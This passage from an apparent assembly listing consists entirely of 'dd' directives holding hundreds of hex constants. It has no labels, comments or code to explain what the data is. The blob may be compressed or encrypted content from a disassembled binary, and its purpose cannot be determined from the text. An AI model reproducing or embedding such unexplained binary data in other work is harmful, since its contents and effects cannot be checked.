dd 7800BE7Eh, 5B741D84h, 1C25D614h, 1E7A2BC3h, 30F146B6h
dd 9A7D302Fh, 47FEB007h, 8504A817h, 0DA24D280h, 4793CE8h
dd 2C0A7D00h, 239BE6B8h, 5EEA400h, 30D41043h, 0CFC05CCFh
dd 385A0C00h, 1B6CBE45h, 0ED20B300h, 52FB188Bh, 0E8165013h
dd 0F69473C9h, 83530073h, 0EE5056B1h, 0E03DDCEh, 3A160C4Ah
dd 556AB041h, 7D473FDCh, 23C813h, 0DEED6B4Ah, 0F50191E1h
dd 0C58A398Bh, 0E850E027h, 7178E6F3h, 87F7Ch, 826024DDh
dd 6C3F8A5h, 0D427B900h, 0B25893CBh, 0CF7C0049h, 6C5F2E75h
dd 8230E02Dh, 4DDA019h, 8AD93CC3h, 68F7770Ah, 5E2C80F8h
dd 0BA87BBB8h, 1D43673Fh, 0C0C093A9h, 798820D7h, 76417A94h
dd 0C451004Eh, 4096A391h, 0F39D3C9h, 78AC8032h, 0C2E0700Ah
dd 1CDB011Fh, 0E7E82C3Eh, 5D51EC31h, 5055C904h, 0A4C125ADh
dd 5230BB38h, 89DF075Bh, 0BA1D9728h, 0B2E800FCh, 712D04A0h
dd 10A67800h, 0BB2E21CDh, 60B8C037h, 0E8AC2752h, 7047340Bh
dd 103D00C7h, 0B017EA7h, 8DF382AAh, 0EF00E4FCh, 0BD4ED37h
dd 0EE4C1EB0h, 29B4407Fh, 4902E4F8h, 0A0A4440Eh, 31E68284h
dd 0C09AE2F1h, 9FFB1Eh, 82D05408h, 5A5B904Eh, 73BF9A58h
dd 92CED61Fh, 75F601BEh, 8EADD84Ch, 258C40F6h, 0BB6300EEh
dd 0D77E0706h, 80E64783h, 17AC9C00h, 63F7EB6Fh, 251800E5h
dd 0C79522B1h, 0D8C0D328h, 2C3A62D5h, 70C05C58h, 7A0F6900h
dd 0CC323A0h, 7E909700h, 47C881Bh, 0B4BF0515h, 0C0D9E043h
dd 0AB344F78h, 0C454A100h, 6B59BA50h, 0FFBD00BFh, 37EA256h
dd 0E20F986Ah, 3E8039D3h, 0ABE4E9C0h, 1E64954Eh, 3B4ECD7h
dd 0E0BE17D5h, 0F3C3220Bh, 0F0288A3Bh, 3D7E1880h, 4CE1DBEDh
dd 7500DA67h, 0FBBCA78Ah, 0A300F199h, 0EA8FAD82h, 90864211h
dd 0E0790EB0h, 0DA0F055Fh
dd 0E26037A1h, 0AA1C4B3h, 7E3335FCh, 0F3E6F8B4h, 0EC5DD008h
dd 137500B6h, 0A1569C4Bh, 40F6F3D7h, 0BEADAB01h, 0E7DF80F7h
dd 3365E0h, 1ED3905h, 49680322h, 0B12C9E0Eh, 0E5AB01C4h
dd 87C07C11h, 0CCC109DCh, 80001857h, 7EB92EBCh, 58BD5F00h
dd 2AEAFFD0h, 380500D1h, 4684FC02h, 87F21F39h, 0F63D4A07h
dd 0C8F08B59h, 0AB580Fh, 82250EF1h, 0A8C3E69Dh, 76CE0800h
dd 9AEB83B2h, 25B5A0D4h, 278500E5h, 9623CC4Bh, 0A73C08Fh
dd 0AA56FE00h, 0D1EAAF0Bh, 1EFF092Bh, 0C0042D12h, 0ED4C023h
dd 0BB004EEDh, 0D5F2FE0Dh, 0EEE284C9h, 872F3D53h, 5E4F5F0h
dd 0ACD91278h, 0F5140059h, 19D346C1h, 363E5507h, 0BFB07451h
dd 76470EF0h, 3A4001DDh, 20E7B71Fh, 2FE6F849h, 3B95DA00h
dd 0B1DDBA4Fh, 443D1C89h, 2612C2EFh, 1C41C51Bh, 3A37DCC9h
dd 920EB390h, 0AC38CB09h, 326B0F3h, 0E0EFA6F9h, 6280431Fh
dd 9739F06Ah, 556E80C9h, 7CF1B526h, 2F030006h, 70361D79h
dd 66041EA7h, 21F2A4DCh, 9AB99880h, 0FD9F1CACh, 87B800ABh
dd 1DD35EFh, 0DFFCFCF9h, 0E84BEA30h, 30CA525Bh, 6F38611Eh
dd 51028DBCh, 6509AC44h, 4C33E017h, 56F8EAh, 8A4220A8h
dd 0DE5C285h, 59B7BD01h, 9E46D7CEh, 0F8C905C4h, 0D6731E31h
dd 8D5DC02Dh, 0BCCC5756h, 14D938h, 4A2A1046h, 48FFE5F8h
dd 8004D0DAh, 80E37CC5h, 0BC734340h, 0A129BE14h, 0E522019Ch
dd 0D4079A46h, 314464h, 8DDA96C9h, 0B908EB7Ch, 0E700A17Eh
dd 0C1674B44h, 0F8FA6E64h, 49C81FCBh, 0FBB4C0C0h, 1F1AA7A2h
dd 0DC2E3C01h, 901CB9C9h, 0F8D41EDDh, 89FE0019h, 0C0B1E5B0h
dd 960FA168h, 361B07AFh, 20C98700h, 1D420F59h, 80231689h
dd 0C8B37C0Dh, 6C1ECA3Ch, 94C78AA5h, 1A70D79Bh, 3CD4316Ah
dd 0EA87BB2Fh, 73DDA63Dh, 17C0476Bh, 0F2005635h, 20CFE7EFh
dd 72AF8316h, 86021FE1h, 0C359404Ch, 0BA7C6CD8h, 0F9569E01h
dd 21F53215h, 0AEAFC0h, 0EFD383BBh, 0C72B7BB2h, 2FB4A800h
dd 0F8E95FE1h, 0E6AA3AF4h, 9DBA8080h, 0B612EA14h, 0BC557800h
dd 9AA1D583h, 49EB005Ah, 0EA95C579h, 70027DFh, 57AD6B2Eh
dd 5CB692h, 0F24076F3h, 14178DE8h, 32ECB44Bh, 13A06507h
dd 0C131A0B8h, 6700A1BFh, 89272009h, 7338E1h, 0AE02C0C8h
dd 19654D1Eh, 0E55011Dh, 0B5E307C0h, 7DE99B7Fh, 2F8106EFh
dd 0DAC72710h, 0CBAC48h, 2B5DEB96h, 0B0D46D23h, 0E71009Bh
dd 5E79137Ah, 0C72E512Fh, 8000DC91h, 0FEEB54B8h, 0CD6528FAh
dd 0B56A3F98h, 9400CBBEh, 93F112C7h, 0E00EF6Fh, 106BFE9Fh
dd 0A78990h, 69E7BECh, 0CDC2FDF6h, 3583CC00h, 0A17C5004h
dd 0B8B20057h, 0DF4ECADCh, 3EEE6EC4h, 5A247000h, 0AEB7FE16h
dd 0D1A30AA5h, 0EC59E1h, 1EEC094Ah, 2901CBC0h, 0FA85793h
dd 6CD8B4EDh, 7F01EC0Ch, 0FA951C56h, 0C10E0054h, 0BC3C1BBEh
dd 0E7296600h, 87E2B8Eh, 0E62500AFh, 0FD45B68Bh, 0E502488Fh
dd 0B554420h, 0D4C7E072h, 6A1E00EBh, 96C836B7h, 0C917BE9Ah
dd 3A12A65Eh, 0B2555907h, 9C2AD8F0h, 57D45C9Fh, 0EB86E301h
dd 0E2BBB46Ah, 0CFE8AC80h, 9A4922C3h, 92181C28h, 4D6A1507h
dd 122C52A0h, 74EF0750h, 6FDF0B10h, 0B9596C60h, 0C1E41AF2h
dd 8D46FF0Fh, 41228506h, 66428400h, 363870Eh, 0BA6EC091h
dd 99805224h, 0B400751Ah, 0E5559831h, 34AD3Ch, 0AC46BFF9h
dd 1F63AA7Bh, 5B03E07Ch, 0D5C1DEBCh, 0F0C87B5Dh, 0A7740001h
dd 0F6BAE8F4h, 39603309h, 96CAD55Ch, 804F0065h, 0F0985950h
dd 687B2213h, 0BD6F100h, 5860CF9Dh, 93D50226h, 1E2348F2h
dd 91C99560h, 0ECA0B724h, 178C3D00h, 3F49DAC3h, 0E899A173h
dd 40169848h, 4C4033DBh, 0A9865800h, 9BF4C7B3h, 0B67F14E4h
dd 2A00A78Fh, 0B9D83A46h, 40EA4FE6h, 7F5BE00h, 0E7FC739Dh
dd 0B558004Dh, 0EB0B0428h, 6E719B68h, 2D88DC1Eh, 0BC00F4D2h
dd 0AC7A4E43h, 0BED600A3h, 0F65742A1h, 0FA00E0C2h, 0B49F5A77h
dd 753C70A0h, 98923CD7h, 7B27D400h, 6345C220h, 6AA70402h
dd 0E03E8EE9h, 47E043h, 0F93CC6E3h, 99574B88h, 0F1DB776h
dd 918059A9h, 0C5CA897Dh, 28623885h, 1324ED04h, 47F78006h
dd 0A3D0544h, 3900048h, 8461655Bh, 0A870A1h, 57474667h
dd 3A9BB1D7h, 0C87D3Dh, 0DE23B306h, 4E8FE55h, 62B8711Bh
dd 0B6A7C009h, 700E640h, 0CD12CC3Dh, 0BC6069h, 8325D921h
dd 925ECFF6h, 5ABDD200h, 13B15BD8h, 90CE1E89h, 70D580FFh
dd 14803650h, 4800827Fh, 849FA3B1h, 1F30338Ch, 701E9147h
dd 2A6F4D28h, 0E9902D00h, 4F79B35Ch, 95120E57h, 0CA40FB0Bh
dd 0C1DA2054h, 2EE82F72h, 0C0699600h, 0E3CEF77Bh, 6BE103FEh
dd 9B25474Bh, 7FD68388h, 6403FA7Ah, 5D5731F6h, 5F80A5DEh
dd 2ED538h, 0A81126Fh, 8A234405h, 83B07FCh, 6E3E8077h
dd 915DB7DAh, 0EF8D00CCh, 1193EA7Eh, 32002AC5h, 4BBFE487h
dd 0E56105h, 674EAE3Fh, 0EC374283h, 73C16900h, 0F144B5EFh
dd 1E6D0F5Eh, 3020DE5Ch, 0F92B8AE5h, 0E8034EF6h, 6E25F569h
dd 3B569132h, 0EE9801D3h, 8220F217h, 0C88087EFh, 80C3D2C9h
dd 0F510080Fh, 2830D545h, 6670DEh, 0A72CA1FAh, 46C3B8F7h
dd 9C008BF4h, 15395FD5h, 0C09BEDCBh, 2A885668h, 9936F1ADh
dd 2220710Ah, 0E041879Ch, 0FCDC3E40h, 864D00EAh, 0AF039DE9h
dd 0C300EDA5h, 75C62A23h, 3077D0DBh, 164935E8h, 1100F20Fh
dd 4CF567ECh, 0F8CF6950h, 649D0052h, 1A039BF8h, 0FC0140BEh
dd 7041FF9Fh, 66E0F97Dh, 62270080h, 0A9A1C869h, 4D00DE4Fh
dd 0BB54AA26h, 401718h, 5B467A7Bh, 368DF6B2h, 55568903h
dd 0C0AA0671h, 85D745h, 0A9CDC558h, 0EEDE9E44h, 9F19750Eh
dd 6BAC033Dh, 40BFAFBAh, 223F94Ch, 0BB1003A6h, 0F29984A5h
dd 0BF7B4BC0h, 7D8C673Dh, 482DB000h, 6BE8F073h, 0A42E0A3Fh
dd 80D8F445h, 0C62C1FF5h, 2A07D05Fh, 0DB68749Eh, 21E046h
dd 672DD50Ah, 17F3035Ah, 71E33E00h, 26868AADh, 2EDF000Ch
dd 3F722B44h, 84001441h, 0EFCE6F27h, 0AB41DD5h, 3C3DFC98h
dd 21E80F4h, 5828309Ah, 0A1015F00h, 4C162785h, 0EC061D2Dh
dd 20E19866h, 0DD0AE2DBh, 2026C402h, 8C8A1070h, 184EA3Fh
dd 0D9DD99CAh, 808E9FEBh, 2F4C0141h, 58016D12h, 74EEB9A5h
dd 83F8E13Fh, 43680427h, 816B3171h, 24D97600h, 81000A04h
dd 1641877Dh, 0C134C1Ah, 6C492540h, 0E90E4421h, 0F8668151h
dd 0DE779Ah, 0D4EF9980h, 7EE0AE28h, 121568C5h, 4A438C41h
dd 408E69FDh, 7A476ECCh, 8E10CC52h, 2F7D4800h, 0D209BAA9h
dd 8756501h, 0D5C400C7h, 5C6D70C4h, 9BA9200Bh, 0CC9981BDh
dd 0E3EC7177h, 0E27E0267h, 3196B266h, 8A9BA081h, 0D41034E6h
dd 54EFD275h, 2A1880A4h, 0AA031E0Fh, 0AD0AB239h, 15083031h
dd 0F22E921h, 9E12B300h, 0BF563B9Ch, 88336342h, 0DBDB869Bh
dd 0F4E42801h, 0F6213D18h, 163F1824h, 0C99A17h, 5B60FC1Ah
dd 8C928DF7h, 3E2BB905h, 0A0406276h, 0C5B5D30Fh, 91AF0687h
dd 8E7E828h, 0AE21DC62h, 8161E0FAh, 2C137F18h, 2DD716h
dd 5C4DB62Dh, 0DF0C2F73h, 9129589Bh, 698800C8h, 41A5330Dh
dd 5D06B2A7h, 0CA32E7C9h, 44670120h, 23D3151Dh, 0C0BC5776h
dd 0FABAB21Ch, 0DF38FE14h, 7DFB10CCh, 287C15C0h, 743B2A9h
dd 9300DD22h, 13D07C1Eh, 1E5592C5h, 50C8A0Fh, 4337E1EAh
dd 26BFEBA8h, 21B42CF0h
dd 8EF65FE2h, 0B6007898h, 2DD7AECBh, 2660FEFCh, 0F66961h
dd 403B0133h, 49003109h, 1CF4A9B5h, 0F0735DC9h, 262EFCC4h
dd 4EBC4B12h, 0C12C1187h, 23D5205Eh, 0FE22E4h, 0D62CFF34h
dd 414B1023h, 0E1295B33h, 0A025ABAEh, 0A087381h, 0F869EFC8h
dd 7C14C080h, 5A70A92Bh, 68C64486h, 5B7C1D00h, 0FD74A9FFh
dd 0E0940003h, 0FB604588h, 2E043955h, 3327A69Dh, 4084095h
dd 0B561CFC4h, 18FF83DBh, 4A888DDh, 0B8F0B41Eh, 0E222C905h
dd 328046C4h, 0E006C17Ch, 6A37873h, 7DC663E9h, 6F0539D7h
dd 60F4AEB7h, 49749C00h, 52B2D9ABh, 6BB240B8h, 91E21930h
dd 0CC0C007Ch, 3F4096F0h, 0D1E30100h, 55EA0712h, 0E5DC3A47h
dd 0F31A3AFCh, 0E1F1D289h, 6E09BC1Bh, 3119AB72h, 0ED1007BCh
dd 4F030FC6h, 42D3D454h, 0E772D126h, 0BB007022h, 0E3B91FC7h
dd 80E14CEEh, 0FAEAB8A1h, 19EA22Ah, 0C54BC378h, 303444CFh
dd 68426A38h, 0ECEF2Bh, 0A92C7C19h, 3899FF12h, 7CC08F67h
dd 0DE27EAh, 7462DCA8h, 2C01D005h, 0DB82551Dh, 27F1B649h
dd 52C7C630h, 70C753Bh, 0CE14CA99h, 16C419FDh, 71138349h
dd 5A553C20h, 0C8B21B98h, 95C09081h, 249AF280h, 859DE4A0h
dd 0D84A6817h, 28DF740Dh, 30026402h, 31096D76h, 16094AA9h
dd 1FE6D0h, 2BD8827Ch, 56B1FB5Bh, 1AA7F800h, 0D653B348h
dd 6ACB989Ch, 11AC5083h, 0F1C5811Eh, 31C25FD0h, 33010EAh
dd 947D2Ch, 3ED94846h, 0A64A97FFh, 0D450846Ah, 0E94674h
dd 0C9CED767h, 240EE852h, 801043E2h, 2775DB4Dh, 997E60A1h
dd 690C0700h, 0FA25BCD7h, 9A4A30C5h, 0EC35E979h, 58018303h
dd 912BF1F3h, 484BFB4Bh, 1CC0E088h, 0EF11736h, 38738DC9h
dd 69BB7580h, 0D212D833h, 0EC27344Ch, 0E001C918h, 26E783DCh
dd 2A22ACh, 7B4FDAFh, 4D0B5EBDh, 0B72DC907h, 26F02B24h
dd 12D345F8h, 0AF3977h, 4F4E955Ch, 0ECA8B0BFh, 1AECF41Bh
dd 0AF187500h, 0D4E4468Ch, 2826038Bh, 0DF3DC11Eh, 0B63888ACh
dd 0D399960h, 7A793ACCh, 1D77009Eh, 0ACC21A9Dh, 3500889Ah
dd 0B5563C65h, 2FB769h, 0AAD975F8h, 0AB6D07E4h, 47513700h
dd 0F95A4DE3h, 97260080h, 72BFCA4Eh, 0EA083BB5h, 32BDC2Dh
dd 4A840D07h, 1F1039D8h, 179D3558h, 0EE015EF3h, 0C4AADE48h
dd 0EFBD0C0h, 0FC83A02h, 0BB69C380h, 0CE0018C0h, 52A48782h
dd 384131h, 9B3BA39Fh, 0E81959B1h, 87357200h, 20B617E3h
dd 0D8C101A2h, 0E6F41043h, 20293174h, 0F04CFF05h, 7CB7009Ah
dd 0F3272445h, 0E0F200C2h, 91A71FD2h, 42F2FDAEh, 86B2C40Eh
dd 0C05060C3h, 783E485h, 8275B4DDh, 0BF917026h, 7D007C7Eh
dd 0FEBA5457h, 0C3ED4h, 9C1FB3DCh, 11FA33CCh, 210003EEh
dd 0B0990E04h, 0B9E48E1h, 889F3632h, 0F681718Ch, 80191E3Dh
dd 0B645C39Dh, 3FCCF502h, 0C804BA1h, 7B84070Eh, 6A003CD8h
dd 5BF94CA9h, 127D60C9h, 116EEEDh, 1CB865F1h, 0A24080C4h
dd 0A1C10C6Dh, 183B0EFFh, 0CF603984h, 0C3A96953h, 7E753100h
dd 0AF5DC514h, 834D3A32h, 9C99081Fh, 15B1A6E7h, 2303808Fh
dd 1A786505h, 0FE5F70C8h, 0AEED0D01h, 0F540DBDAh, 706A4DDCh
dd 119C47FBh, 0BE0618F9h, 811DB53Ah, 45D84C00h, 92A68AC9h
dd 73FB02F9h, 951B6A10h, 0D6E380A0h, 90069C2h, 80C120FFh
dd 0B8E72771h, 7243819h, 81A18818h, 0F800151Ch, 0D6D88033h
dd 3201950h, 10FC7822h, 2180E6AAh, 0BB008B84h, 8EE40A5Ch
dd 6A57F9h, 65BD36BFh, 0ABED0B7Ch, 0C261D608h, 0C0A20193h
dd 0D8F60820h, 0D8079026h, 22554377h, 8DDD1A20h, 5809F8B7h
dd 2D01FC1Eh, 63ACFC88h, 64C0809Ah, 0E89E531Ch, 491702C2h
dd 4C3A8423h, 0EFABE160h, 0D0B358h, 47145CB7h, 0E6ECE91Eh
dd 0F1510026h, 30FC108Ch, 0A103B032h, 0B4A81F20h, 0DD24F384h
dd 36CA040h, 404856Eh, 6F1E4AAFh, 168082B0h, 0FB45E080h
dd 0E90086F3h, 2CB737Ah, 26CD6FEh, 0B0B8DD1Dh, 0A0404C41h
dd 0A80F1634h, 0A0146D6Fh, 5E43A118h, 0C40E1386h, 2CFFE01Ah
dd 0DBE0400h, 0C8F610E6h, 219400F8h, 73AAC542h, 0D6073EB9h
dd 7514D9CCh, 4CE4E610h, 0CB1F00D3h, 79208FEEh, 0CA00C4B0h
dd 0BAC21CCh, 7522B698h, 57E33B59h, 1AE7AE00h, 60A85BFFh
dd 8C3BFC00h, 2A4C206Eh, 0CFA3078Fh, 14739Eh, 0F498FDFFh
dd 63FC8D00h, 0A824411Ch, 39203DC8h, 21D8250Ch, 0FD602F08h
dd 19CC1820h, 9CAA4805h, 0CF9EF900h, 7EB8A4C9h, 807D510Ch
dd 1A128F6h, 8261D502h, 0DC94CAA6h, 6000CDE3h, 369F30EAh
dd 71C04DB6h, 20DD0397h, 1E7AF73Fh, 0EDFA5280h, 94141D00h
dd 93626D66h, 0A1160089h, 0DECC5BD0h, 0E318A976h, 2068F95Ch
dd 1FA0060h, 8DD4FF27h, 5D001807h, 0D149A216h, 0A80EC4h
dd 0FF35612Bh, 0CD1A1063h, 20E4C929h, 56A32AC1h, 9A90020Dh
dd 1119C630h, 886920CAh, 0CD4A8005h, 17460C19h, 9B92C200h
dd 0B61852B7h, 222FEE43h, 2100EB80h, 15EEA4C2h, 148CFE1Eh
dd 0C8CABEFFh, 6030FEE9h, 0BF7A00C4h, 727E85EDh, 0DE0390D9h
dd 0B30155E1h, 1432B09Ch, 0A11D30E7h, 0B0B6153Ah, 10724A31h
dd 8BD8A863h, 0D8235CFBh, 78497A78h, 2658001Dh, 0AFCD8791h
dd 230C1870h, 0C05548F0h, 895400FCh, 0E47B36A7h, 820097E0h
dd 2D3E6208h, 187347DAh, 0A8B7A222h, 7228033Ch, 0B806FC44h
dd 8DA17EC3h, 0F0692AC0h, 3C1A0088h, 8FAD7CA2h, 0D90E112Dh
dd 4F6A9A88h, 617A2086h, 7BB671Fh, 0B843E1DFh, 0E6D4A076h
dd 0F5003470h, 2F2B12FEh, 217C03h, 0E3C2FBCEh, 0CF65F793h
dd 808268C8h, 0C60333C4h, 0F00006DFh, 9C6C855Ah, 38D1B5CDh
dd 0A6BACC81h, 8FB26180h, 6A389233h, 8031E93Dh, 73828145h
dd 3434D01h, 57092F7Ch, 9AE128D5h, 0DD19806Eh, 45546BCCh
dd 0BA590FD0h, 32A2337Eh, 9CA15D60h, 5755B93Bh, 2C44E0F0h
dd 85002824h, 225BBE8h, 1F618701h, 0AAEE55D1h, 783215F4h
dd 523EE0EBh, 80415830h, 2B7C6444h, 7805F800h, 0E65D2790h
dd 2F76394Fh, 0CA122A00h, 93D7FD0Eh, 0C019D190h, 631172A5h
dd 0EAE0044Bh, 10C06551h, 8542913Fh, 0D1C000EFh, 4895CE87h
dd 7D01A230h, 0E836EA05h, 12E4FE4Ch, 0ED29C44Bh, 713F4E88h
dd 11E70A11h, 0C9286A41h, 89B12228h, 22E60E22h, 656045AFh
dd 0BAAEE529h, 68A902E0h, 2C3F27DDh, 0E7EF2740h, 0EBD25F00h
dd 4B5A84B0h, 23250095h, 615DC3D8h, 8B008093h, 0D72D3CA8h
dd 0EB69D9h, 0E652707Fh, 1C3EDAD6h, 13A55100h, 91AF2830h
dd 2D6201D8h, 76A1221Dh, 0D06FED4Fh, 0AB007CE3h, 0FFDD0D7Bh
dd 1EBFD8C8h, 9E7754EFh, 0E0E9C1B5h, 0D44857B4h, 0FC00AA67h
dd 4760038Dh, 0C9ECDCh, 201AF63Eh, 5F996680h, 13827D3Ah
dd 0B300CC7Bh, 11252BDBh, 13BCA089h, 532C002Eh, 0F888565h
dd 64601DFBh, 10C99678h, 86F80034h, 5D6A980h, 4100CC5Ah
dd 0A39C75B8h, 49A8C0h, 71AC5E06h, 4EEA8AD2h, 9AE66C03h
dd 0F07D65E4h, 0BBEBCE5h, 2BDDADBFh, 4E92C585h, 1FA077F8h
dd 3A6A0359h, 0A2B92E00h, 0A045451h, 39AB00E5h, 0E7A9AD15h
dd 19036264h, 0FECB7199h, 4692B04Ch, 0F1F800D6h, 60C1C36Dh
dd 0A6E2010Eh, 9F99F703h, 0BF75CB84h, 8B723F00h, 0DFBE0080h
dd 87E2A326h, 5C03B10Eh, 48DDBFD1h, 1190A00Dh, 0B7323BF5h
dd 6B9F280h, 5B707A67h, 2F492100h, 6B6F54EBh, 0E913B2Eh
dd 11439207h, 3BEEC008h
dd 81015F79h, 83EA2052h, 34ECDC8Fh, 3B6000Eh, 0ED421B82h
dd 0BE001859h, 8C084C1Ch, 4D668A6h, 5C2E7B0Eh, 5188801Bh
dd 1400A24Ah, 564E2F34h, 0DD63Ah, 0BEB36589h, 935D9FDAh
dd 8EC3EA00h, 501D4BD7h, 459500DFh, 8AEFA466h, 103D4D81h
dd 0A56C0030h, 0CF11C2E4h, 0D28203B3h, 0CA877CD7h, 0A1E509D8h
dd 0FE791500h, 6EE1FFEFh, 0DDE30088h, 34417C5h, 5200DCA4h
dd 71144916h, 1458F565h, 90042A20h, 5CD5DE00h, 0DC513A78h
dd 0E9D8B160h, 43C85EBh, 9AF122E6h, 0B420D216h, 0DA360C48h
dd 29886916h, 0DD842C07h, 4DCB0C20h, 52D0A098h, 8C830025h
dd 2DBC9D97h, 81727B2Fh, 2F5A33Dh, 3D91F21Bh, 0CAC687D2h
dd 24182590h, 54E8E6h, 5A208508h, 108DB6AEh, 602B7F24h
dd 4B680300h, 3DFD2B4h, 85D763BFh, 47B8175Ah, 48000D14h
dd 6C753D07h, 1CA3F4h, 0AD9BBD4Fh, 89E6841Ah, 43E47F07h
dd 0CFA072C5h, 15655B7h, 0DA61EF5Ah, 0DC0258A7h, 0A6383B0Fh
dd 34C6807Eh, 7FF45BC4h, 0D0D805B5h, 70B86B3h, 0B016DC84h
dd 8ABEA147h, 7EB7EE01h, 3E742E0Fh, 0C0EE8861h, 7209950h
dd 0F38BF48Dh, 8072C50Bh, 0F76F60E5h, 0B0A78C00h, 0D8563D51h
dd 3BC20090h, 24443EDDh, 19141206h, 9CE0DA7Bh, 0BC709ECAh
dd 0DF2C0D80h, 492076h, 0E4C16BF0h, 19A1C04Ch, 3873E800h
dd 7857B2D9h, 1470F4E2h, 0F417CD49h, 0BB0AB2Ch, 6FF03C64h
dd 0F5CE8A0h, 101F7B7Ah, 9FC01906h, 6EE9349Bh, 67820059h
dd 400263DEh, 5B00FC8Eh, 0A1C2FB2h, 0B86479h, 91BD7C68h
dd 0B15E0CF5h, 3F3A141Dh, 0A050E080h, 755D13h, 105F4E28h
dd 15CBC371h, 941E8500h, 0A96C8B95h, 1DB23C07h, 0B7BFBC80h
dd 0ACEF663Fh, 9D00EB79h, 80A7B69Fh, 0E4BB0C32h, 22BF00DDh
dd 885304E5h, 0A9005C66h, 938BD16Fh, 1D2F9FC3h, 40448991h
dd 597CE2A0h, 90005DB3h, 7B9A63B6h, 0E26C490Ch, 96510039h
dd 86B879F7h, 0F0068D3h, 0E0B33C56h, 62A258h, 0BF4B3274h
dd 5A9BA624h, 99CC5501h, 784F86BCh, 68B2FCh, 49620ABEh
dd 95768CAEh, 2674224Ch, 0C61DDAAAh, 0EA1C5253h, 0E89BF81h
dd 0EBC0B6BCh, 64220072h, 603CD0A2h, 0EC01E8D2h, 5779514Ch
dd 76E0F05Fh, 9E8300D1h, 1F126BB1h, 8C01D56Ch, 50FECF21h
dd 0EF0B526h, 742000D3h, 99A43809h, 0AB0637DBh, 0ADA7C2FEh
dd 7FB40120h, 61E0D04Ah, 0B7ECD08Fh, 0D0C858h, 0E9378047h
dd 2C86BF16h, 407883h, 6199C3ACh, 4D004526h, 3EFA7F02h
dd 27B76Ah, 0D046B58Dh, 95756828h, 70D8833Fh, 0FD3FA6EEh
dd 535200CEh, 2CB149F4h, 0ED8E260Bh, 0F1DA0EC2h, 0ECA59960h
dd 0C00012Dh, 3F07E04Dh, 0CDAAB9h, 98393B74h, 788FB8ABh
dd 41B0BE00h, 0D47E11BAh, 0EC8E26Eh, 0D618773Ch, 11DC18F3h
dd 9B7B6F61h, 768BAF00h, 5BD475Fh, 0DBA73F58h, 0D3CF9C94h
dd 806C592Ch, 0B3360643h, 5F032BEBh, 0E43FAEE7h, 90829817h
dd 0E8214841h, 959E9400h, 0C2E25950h, 5B2A960Fh, 17F1A007h
dd 1A1024Fh, 7B4A8120h, 70521565h, 0D1B84D3Ch, 18FB6F00h
dd 49C7306Ah, 91B7919h, 0CFD64260h, 404CE800h, 10B91715h
dd 18E74700h, 0F871458Bh, 7A51014Bh, 0FCD8BB75h, 10A46068h
dd 502D2E00h, 3FF7FE6Ah, 203D2E6Eh, 834F0096h, 0DA728474h
dd 6499700Fh, 338B1EA4h, 6380360h, 0E99699BAh, 0D1F5E8h
dd 8EEFEB7Eh, 98C5BD3Eh, 0E2C060FDh, 0E62F8500h, 30EBE74Eh
dd 7A78B826h, 71D5003Ch, 0BB813291h, 0E498339Ah, 0FA3E0609h
dd 39C080CAh, 143A4Dh, 51E87990h, 0EA4F2CBCh, 3698DC00h
dd 0A346C4E5h, 12A10050h, 9377BEADh, 480788C8h, 13B2451Fh
dd 5E54ABE0h, 14B50E7Eh, 926036C5h, 8AD0E82Ah, 2BF5D103h
dd 0F07B4FF2h, 0B0A742F8h, 5908035Dh, 0EAE38DC8h, 7D63B0C7h
dd 0B2EEA2CEh, 1B7B3C05h, 0ECC0821Ch, 399D43h, 0B02A8C41h
dd 42F16401h, 1C836C00h, 0E47EEFB5h, 0A89AF8D3h, 0FBA963FCh
dd 0A0405EC9h, 22BA44h, 8965C43Ah, 0EA0CAEDCh, 0B1139900h
dd 0D308C6EBh, 27E50031h, 50A7C7F3h, 702482B9h, 12069094h
dd 48074Fh, 38064E45h, 4B188B91h, 0D822C600h, 0E299F994h
dd 78BA2E3Eh, 0E595005Ah, 0B6C96D9Bh, 21A87400h, 96D35872h
dd 146000CDh, 0C138E6C4h, 0FE58F188h, 0CE127DFCh, 102034F3h
dd 8BE252h, 18F0A75Bh, 64033527h, 9BFC9218h, 7AD7E7Ch
dd 0C0C98DFAh, 771C906Ah, 1D279A12h, 0C65C0Ch, 8155EF33h
dd 2094520Fh, 40301B12h, 3791C8h, 0CD57A4EDh, 3575D9C7h
dd 7200F8BAh, 83B21082h, 680A43Fh, 9D7F8FC1h, 0FD58E851h
dd 4C880039h, 2C8B6B2Ah, 0BECC07DCh, 81690498h, 0DC3401F7h
dd 7998C4CAh, 0C2005CB0h, 30D38A82h, 7B6E7EEh, 4C0AA7AAh
dd 8B956715h, 0F894F001h, 0C44761A5h, 57002036h, 0C5AF02E6h
dd 0F47ABE9h, 0E26BAE38h, 0CF5B7D81h, 0D40DC861h, 6A86A912h
dd 0A5B99802h, 1DCC045Ch, 148E5B00h, 0A8E75Eh, 8FFEE9CFh
dd 921C7CD9h, 0F6184Ch, 0A5A03A2Ch, 0AB88251h, 0C446B633h
dd 2E9A0488h, 77860568h, 72C8C8C9h, 0AAC50F98h, 1820CEB0h
dd 9D45C029h, 0D53A8DF2h, 0AC629F75h, 0BEA5E843h, 0F0B40097h
dd 9B633D2Dh, 1E0EF667h, 82ED1751h, 0E0F1D02Ah, 0B7A6FD6h
dd 0F60969B4h, 6E00D1DCh, 0AD35A21Dh, 0C2720FDBh, 1C806CFFh
dd 0B055741Ah, 910060F4h, 2DDC269Bh, 42812h, 0A925A1E5h
dd 0B82BDA3Dh, 4E00ABE8h, 869A236h, 2ED48h, 0F51FC4A5h
dd 302C5C40h, 6FB36B00h, 85875767h, 0B23C0055h, 71690D79h
dd 0A91F5E29h, 725CF073h, 5BE544C0h, 2E68AF1h, 3B3FFDBEh
dd 605759E3h, 1CC79902h, 7AC09889h, 0CA75DD80h, 0D4E7A38Eh
dd 0E5CB3903h, 80BA9786h, 93F2752h, 1C3CC3C7h, 69738100h
dd 7E002DDFh, 2906E5E6h, 0EA326501h, 13D21ECCh, 0EF844044h
dd 0E59009E8h, 62140300h, 1C0B8936h, 0D4B300E7h, 0D9983583h
dd 1600CAE6h, 0A2FE064Bh, 1DB6995Bh, 80716D29h, 9BC85AB5h
dd 0F37BFFD2h, 23BE88A0h, 87C56E1Fh, 0F1DE000h, 1DA6B206h
dd 0C0693612h, 0F7B40479h, 5D077D5Ch, 54D11B39h, 614073C7h
dd 38253250h, 86006593h, 0C2EEE4A7h, 73001C22h, 672C0598h
dd 8A0746h, 1E2A7CD8h, 2134C20Ah, 6A00557Fh, 33B015AFh
dd 1CDD469Eh, 8035B45Ah, 0CAB69739h, 493817E0h, 0DCB88084h
dd 0E176BD73h, 93E70F6Fh, 0C7EF5999h, 8F0DE400h, 0FF003EEAh
